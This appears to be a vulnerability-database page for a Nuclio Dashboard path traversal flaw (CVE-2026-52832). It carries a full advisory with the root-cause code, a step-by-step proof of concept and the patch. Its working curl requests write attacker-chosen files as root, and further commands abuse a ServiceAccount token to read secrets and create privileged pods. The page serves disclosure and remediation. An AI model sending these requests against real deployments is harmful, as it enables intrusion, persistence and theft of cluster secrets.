What is the CVSS score of CVE-2026-52832?

CVE-2026-52832 has a CVSS 3.1 base score of 4.9 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N.

Is there a public PoC exploit available for CVE-2026-52832?

Yes, a public proof-of-concept exploit is available for CVE-2026-52832. Prioritise patching immediately.

Is there a patch available for CVE-2026-52832?

Yes, a patch is available for CVE-2026-52832. Update the affected software to the latest version immediately.

Nuclio Dashboard CVE-2026-52832

Q: Which versions of Nuclio Dashboard are affected by CVE-2026-52832?

Unauthenticated path traversal in Nuclio Dashboard's function build API allows arbitrary file write as root inside the Dashboard container.. A patch is available.

MEDIUM

Path Traversal (CWE-22)

2026-07-16 https://github.com/nuclio/nuclio

GHSA-wpcj-rmv4-86qg

Privilege Escalation Ubuntu Kubernetes Docker Path Traversal Python

4.9

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

4.9 MEDIUM

AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

vuln.today AI

7.5 HIGH

Default NOP auth requires no credentials (PR:N); single HTTP request with no race condition (AC:L); write contained to Dashboard container with no data exfiltration in primary path (S:U, C:N, A:N).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

High

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jul 16, 2026 - 20:22 vuln.today

Analysis Generated

Jul 16, 2026 - 20:22 vuln.today

DescriptionGitHub Advisory

Summary

Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only - no path validation is applied to the module portion.

During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).

The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - 7.5 (High)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)

---

Details

Root Cause

The vulnerability spans three functions. The path from user input to disk write is:

1. ParseHandler - no path validation (pkg/functionconfig/handler.go:25-38):

// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
    moduleAndEntrypoint := strings.Split(handler, ":")
    switch len(moduleAndEntrypoint) {
    case 1:
        return "", moduleAndEntrypoint[0], nil
    case 2:
        // Returns moduleFileName verbatim - no path sanitization
        return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
    default:
        return "", "", errors.Errorf("Invalid handler name %s", handler)
    }
}

Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".

2. writeFunctionSourceCodeToTempFile - unsafe path construction (pkg/processor/build/builder.go:613-661):

// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source

runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)

moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" - attacker-controlled

if !strings.Contains(moduleFileName, ".") {
    moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is

sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt"   <-- escaped tempDir

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
    // Writes attacker-controlled bytes to attacker-controlled path

3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):

// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ - traversal file outside this tree persists

Path Traversal Calculation

tempDir  = /tmp/nuclio-build-227825660/source   (depth from /: 3 components)
handler  = "../../../../tmp/vul007_proof.txt:handler"
module   = "../../../../tmp/vul007_proof.txt"

path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")

Traversal:
  /tmp/nuclio-build-227825660/source  (start)
  ../  -> /tmp/nuclio-build-227825660
  ../  -> /tmp
  ../  -> /  (filesystem root)
  ../  -> /  (cannot go above root)
  tmp/vul007_proof.txt -> /tmp/vul007_proof.txt

The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.

Full Attack Chain

Unauthenticated HTTP client
  -> POST /api/functions (no auth, NOP mode)
       dashboard/resource/function.go:156 storeAndDeployFunction()
  -> platform.CreateFunction()
       platform/kube/platform.go:193
  -> abstract/platform.go:191 HandleDeployFunction()
  -> abstract/platform.go:119 CreateFunctionBuild()
  -> builder.Build()
       processor/build/builder.go:195
  -> builder.resolveFunctionPath()
       builder.go:664
  -> builder.writeFunctionSourceCodeToTempFile()   <-- file write here
       builder.go:613
  -> os.WriteFile(attacker_path, attacker_content, 0644)
       builder.go:657

---

PoC - Steps to Reproduce

Environment Setup

The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.

Step 1: Create isolated kind cluster with Docker socket mounted

The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:

bash

cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraMounts:
  - hostPath: /var/run/docker.sock
    containerPath: /var/run/docker.sock
EOF

kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml

Expected output:

Creating cluster "vul-007" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
Set kubectl context to "kind-vul-007"

Verify Docker socket is available inside the cluster node:

bash

docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock

Step 2: Deploy Nuclio via Helm

bash

# Create namespace
kubectl --context kind-vul-007 create namespace nuclio
# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007
# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-007 \
  --set controller.image.pullPolicy=Never \
  --set dashboard.image.pullPolicy=Never \
  --set registry.pushPullUrl="localhost:5000" \
  --set dashboard.containerBuilderKind=docker

Step 3: Wait for Dashboard to be ready

bash

kubectl --context kind-vul-007 wait -n nuclio \
  --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s
# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met

Step 4: Expose Dashboard locally

bash

kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3
# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
# HTTP 200

Step 5: Create default project (required by Dashboard API)

bash

curl -s -X POST http://localhost:8073/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'

---

Exploitation

Step 6: Send path traversal request

The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.

bash

curl -v -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../tmp/vul007_proof.txt:handler",
      "build": {
        "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
      },
      "minReplicas": 0,
      "maxReplicas": 1
    }
  }'

functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007

Expected response:

HTTP/1.1 202 Accepted

Step 7: Observe Dashboard build logs

bash

kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
  | grep -E "temporary dir|Writing function source"

Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Created temporary dir
  {"dir": "/tmp/nuclio-build-227825660/source"}

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/tmp/vul007_proof.txt"}

The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.

Step 8: Verify file written to traversal path

bash

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /tmp/vul007_proof.txt

Output:

PROVED-PATH-TRAVERSAL-VUL007

bash

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- ls -la /tmp/vul007_proof.txt

Output:

-rw-r--r--    1 root     root            28 May 17 14:55 /tmp/vul007_proof.txt

Step 9: Write to /etc/ - broader impact demonstration

bash

curl -s -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../etc/vul007-marker.txt:handler",
      "build": {
        "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
      }
    }
  }'

Log evidence:

26.05.17 14:55:50.666 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/etc/vul007-marker.txt"}

bash

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root

---

Cleanup

bash

kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007

---

Impact

Direct Impact

An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.

Demonstrated write targets:

/tmp/ - confirmed (primary PoC)
/etc/ - confirmed (secondary PoC)

Potential high-impact write targets:

/etc/cron.d/ - write a cron job entry; if a cron daemon runs in the container, this

achieves scheduled arbitrary command execution inside the container

/usr/local/bin/<name> - overwrite a binary called by dashboard processes
Any file path accessible by root within the container filesystem

Privilege Escalation

The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:

Resources         Verbs
secrets           [*]
deployments.apps  [*]
pods              [*]
configmaps        [*]
services          [*]
cronjobs.batch    [*]

Verification: Using the SA token directly against the Kubernetes API:

bash

# List secrets - HTTP 200
curl -k -H "Authorization: Bearer $SA_TOKEN" \
  "$K8S_API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret
# Create privileged Deployment - HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
  -H "Content-Type: application/json" \
  "$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
  -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP_CODE:201

An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.

Scope

The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.

---

Severity

CVSS 3.1 Score: 7.5 (High)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Metric	Value	Rationale
Attack Vector	Network	Dashboard API reachable over network
Attack Complexity	Low	Single HTTP request, no race condition
Privileges Required	None	Default NOP auth mode requires no credentials
User Interaction	None	Fully automated
Scope	Unchanged	Write confined to Dashboard container
Confidentiality	None	No data read in primary attack path
Integrity	High	Arbitrary file write as root in container
Availability	None	No service disruption caused by write

---

Affected Versions

Nuclio <= 1.15.27 (latest release at time of research)
Dynamically verified against quay.io/nuclio/dashboard:1.15.27-amd64 on 2026-05-17

The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go) has been present since the functionSourceCode inline code feature was introduced.

---

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

---

Workarounds

Option 1: Enable authentication on the Dashboard

Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.

yaml

# In Dashboard deployment env
- name: NUCLIO_AUTH_KIND
  value: "iguazio"

Option 2: Network-level access control

Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.

Option 3: Drop root privileges in the Dashboard container

Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.

---

Remediation

Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:

// pkg/processor/build/builder.go - fix for writeFunctionSourceCodeToTempFile
sourceFilePath := path.Join(tempDir, moduleFileName)

// Verify resolved path is within tempDir
absPath, err := filepath.Abs(sourceFilePath)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute path")
}
absTempDir, err := filepath.Abs(tempDir)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
}
if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
    return "", errors.Errorf(
        "handler module path escapes build directory: %s", moduleFileName)
}

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {

Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).

---

Resources

Vulnerable file: pkg/processor/build/builder.go - function writeFunctionSourceCodeToTempFile, line 654
Parser: pkg/functionconfig/handler.go - function ParseHandler, line 25
Go path.Join behavior: https://pkg.go.dev/path#Join
CWE-22: https://cwe.mitre.org/data/definitions/22.html
OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal

AnalysisAI

Unauthenticated path traversal in Nuclio Dashboard's function build API allows arbitrary file write as root inside the Dashboard container. The spec.handler field accepts unsanitized module names containing ../ sequences, which Go's path.Join/path.Clean resolves to escape the build temp directory; the resulting path is passed to os.WriteFile running as uid=0. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Unauthenticated POST to Dashboard API

Delivery

Embed ../traversal in spec.handler module name

Exploit

path.Join resolves path outside build tempDir

Execution

os.WriteFile writes attacker bytes as root

Persist

Persist backdoor via /etc/cron.d or binary overwrite

Impact

Execute code inside Dashboard container

Access

Unauthenticated POST to Dashboard API

Delivery

Embed ../traversal in spec.handler module name

Exploit

path.Join resolves path outside build tempDir

Execution

os.WriteFile writes attacker bytes as root

Persist

Persist backdoor via /etc/cron.d or binary overwrite

Impact

Execute code inside Dashboard container

Vulnerability AssessmentAI

Exploitation	Exploitation requires that the Nuclio Dashboard be deployed with its default NOP authentication mode active, meaning the `NUCLIO_AUTH_KIND` environment variable is unset or set to `nop` - this is the out-of-the-box configuration. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	Two conflicting CVSS scores exist for this CVE. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	A publicly available proof-of-concept exists. An unauthenticated attacker on the network sends a single HTTP POST to `/api/functions` with a crafted `spec.handler` value such as `../../../../etc/cron.d/backdoor:handler` and a base64-encoded cron job payload in `spec.build.functionSourceCode`; the Dashboard process writes the content to `/etc/cron.d/backdoor` as root inside the container. …
Remediation	The vendor-released patch is Nuclio 1.16.5, available at https://github.com/nuclio/nuclio/releases/tag/1.16.5; upgrade to this version or later to fully remediate. … Detailed patch versions, workarounds, and compensating controls in full report.